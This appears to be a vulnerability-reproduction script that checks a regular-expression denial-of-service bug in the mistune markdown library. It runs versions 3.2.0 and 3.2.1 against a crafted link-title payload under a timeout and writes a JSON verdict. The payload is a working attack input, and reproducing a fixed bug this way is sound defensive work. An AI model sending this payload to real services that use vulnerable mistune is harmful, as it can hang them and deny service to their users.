#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO"

cd "$ROOT"

# Create a fresh virtual environment
VENV="$ROOT/repro_venv"
rm -rf "$VENV"
python3 -m venv "$VENV"
PIP="$VENV/bin/pip"
PYTHON="$VENV/bin/python"

# Crafted input: repeated backslash-escaped exclamation marks inside a link title
# with no closing quote. This triggers exponential backtracking in the vulnerable
# LINK_TITLE_RE regex (~58 bytes).
PAYLOAD='[x](y "'$(printf '\\!%.0s' {1..25})')'

TIMEOUT_SECS=5

# Function to run PoC for a given mistune version
run_poc() {
    local version=$1
    local logfile="$LOGS/mistune_${version}.log"

    echo "========================================" | tee -a "$logfile"
    echo "Testing mistune==${version}" | tee -a "$logfile"
    echo "Payload length: ${#PAYLOAD} bytes" | tee -a "$logfile"
    echo "Payload: ${PAYLOAD}" | tee -a "$logfile"
    echo "Timeout: ${TIMEOUT_SECS}s" | tee -a "$logfile"
    echo "========================================" | tee -a "$logfile"

    # Install the specific version
    "$PIP" install "mistune==${version}" > /dev/null 2>&1

    # Run the timed PoC
    "$PYTHON" - "$PAYLOAD" "$TIMEOUT_SECS" <<'PYEOF' >> "$logfile" 2>&1
import sys, signal, time
import mistune

payload = sys.argv[1]
timeout_secs = int(sys.argv[2])

def alarm_handler(signum, frame):
    raise TimeoutError("Render exceeded timeout")

signal.signal(signal.SIGALRM, alarm_handler)
signal.alarm(timeout_secs)

start = time.time()
try:
    result = mistune.html(payload)
    elapsed = time.time() - start
    signal.alarm(0)
    print(f"RESULT: completed")
    print(f"ELAPSED: {elapsed:.4f}s")
    print(f"OUTPUT_LENGTH: {len(result)}")
    sys.exit(0)
except TimeoutError:
    elapsed = time.time() - start
    print(f"RESULT: timeout")
    print(f"ELAPSED: {elapsed:.4f}s")
    sys.exit(1)
except Exception as e:
    elapsed = time.time() - start
    print(f"RESULT: error")
    print(f"ERROR: {type(e).__name__}: {e}")
    print(f"ELAPSED: {elapsed:.4f}s")
    sys.exit(1)
PYEOF

    local exit_code=$?
    echo "Exit code: ${exit_code}" | tee -a "$logfile"
    return $exit_code
}

# Test vulnerable version
VULN_EXIT=0
run_poc "3.2.0" || VULN_EXIT=$?

# Test fixed version
FIXED_EXIT=0
run_poc "3.2.1" || FIXED_EXIT=$?

# Determine verdict
if [ "$VULN_EXIT" -ne 0 ] && [ "$FIXED_EXIT" -eq 0 ]; then
    VERDICT="confirmed"
    REASON="Vulnerable 3.2.0 timed out; fixed 3.2.1 completed instantly"
elif [ "$VULN_EXIT" -ne 0 ] && [ "$FIXED_EXIT" -ne 0 ]; then
    VERDICT="inconclusive"
    REASON="Both versions failed or timed out"
elif [ "$VULN_EXIT" -eq 0 ] && [ "$FIXED_EXIT" -eq 0 ]; then
    VERDICT="not_reproduced"
    REASON="Both versions completed; no vulnerability observed"
else
    VERDICT="unexpected"
    REASON="Vulnerable version completed but fixed version failed"
fi

# Write validation verdict
cat > "$REPRO/validation_verdict.json" <<EOF
{
  "verdict": "${VERDICT}",
  "reason": "${REASON}",
  "vulnerable_version": "3.2.0",
  "vulnerable_exit_code": ${VULN_EXIT},
  "fixed_version": "3.2.1",
  "fixed_exit_code": ${FIXED_EXIT},
  "payload_length_bytes": ${#PAYLOAD},
  "timeout_seconds": ${TIMEOUT_SECS}
}
EOF

echo ""
echo "========================================"
echo "Verdict: ${VERDICT}"
echo "Reason: ${REASON}"
echo "========================================"

if [ "$VERDICT" = "confirmed" ]; then
    exit 0
else
    exit 1
fi
